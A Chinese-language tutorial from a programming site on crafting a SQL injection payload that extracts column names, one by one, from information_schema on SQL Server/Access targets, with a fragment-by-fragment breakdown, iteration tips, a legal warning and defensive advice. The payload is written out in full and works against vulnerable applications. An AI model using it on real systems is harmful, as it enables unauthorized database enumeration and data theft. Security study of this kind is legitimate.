首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 更多程式語言 >> 更多程式設計知識

SQL 注入爆破字段名通用 Payload 構造技巧

     編輯:更多程式設計知識

    ⚠️ 安全警示

    本文僅供安全研究、滲透測試授權範圍內參考。未經授權對目標系統進行 SQL 注入測試屬違法行為,嚴禁用於非法用途。請遵守當地法律法規,秉持白帽道德。

    原理:利用 information_schema 爆破字段

    目標:在已知表名(如 admin)的情況下,逐個提取欄位名。核心思路:

    1. 從 information_schema.COLUMNS 篩選目標表的所有欄位,按 ORDINAL_POSITION 排序。
    2. 用 LIMIT/TOP 配合偏移量逐行取出 COLUMN_NAME。
    3. 透過布林盲注或報錯注入將字段名回顯。

    通用 Payload 模板(SQL Server / Access 方言)

    Feihacker' union select top 1 table_name from information_schema.tables where (
        select top 1 cast(column_name as varchar(256)) from (
            select top 2 ORDINAL_POSITION, table_name, column_name 
            from information_schema.COLUMNS 
            where table_name='admin' 
            order by ORDINAL_POSITION
        ) t 
        order by ORDINAL_POSITION desc
    )=0--

    逐層解析

    片段作用
    Feihacker'閉合前端查詢的單引號,注入起點
    union select top 1 table_name ...聯合查詢,回傳單一字串供頁面顯示或報錯
    where (select ...)=0布林條件,若子查詢回傳字段名轉換為 0 失敗則觸發錯誤/顯示差異
    內層 select top 2 ... order by ORDINAL_POSITION取前兩欄位(配合外層 top 1 ... desc 實現「跳過第一行,取第二行」)
    外層 select top 1 ... order by ORDINAL_POSITION desc反轉順序取最後一筆,即第 2 個字段
    cast(column_name as varchar(256))統一型別避免轉換錯誤
    --註釋掉後續原始 SQL

    如何遍歷所有字段

    修改內層 top N 與外層 top 1 ... desc 的 N 值:

    • 取第 1 個字段:內層 top 1,外層 top 1(無需 desc)。
    • 取第 2 個字段:內層 top 2,外層 top 1 ... desc。
    • 取第 k 個字段:內層 top k,外層 top 1 ... desc。

    配合自動化工具(sqlmap、自寫腳本)即可批量導出。

    防禦建議

    • 使用參數化查詢 / 預編譯語句(PreparedStatement)。
    • 最小權限原則:資料庫帳號僅授予必要表、欄位權限,禁止 information_schema 存取。
    • 錯誤訊息不回顯給前端,統一友善提示。
    • 部署 WAF、定期代碼審計、採用 ORM 參數綁定。

    結語

    理解 information_schema 結構與 TOP/LIMIT 偏移技巧,是手工驗證 SQL 注入字段爆破的核心。實戰中請結合資料庫方言差異(MySQL 用 LIMIT、Oracle 用 ROWNUM、PostgreSQL 用 LIMIT/OFFSET)調整 Payload。

    1. 上一篇文章:
    2. 下一篇文章:
    Copyright © 程式碼之家 All Rights Reserved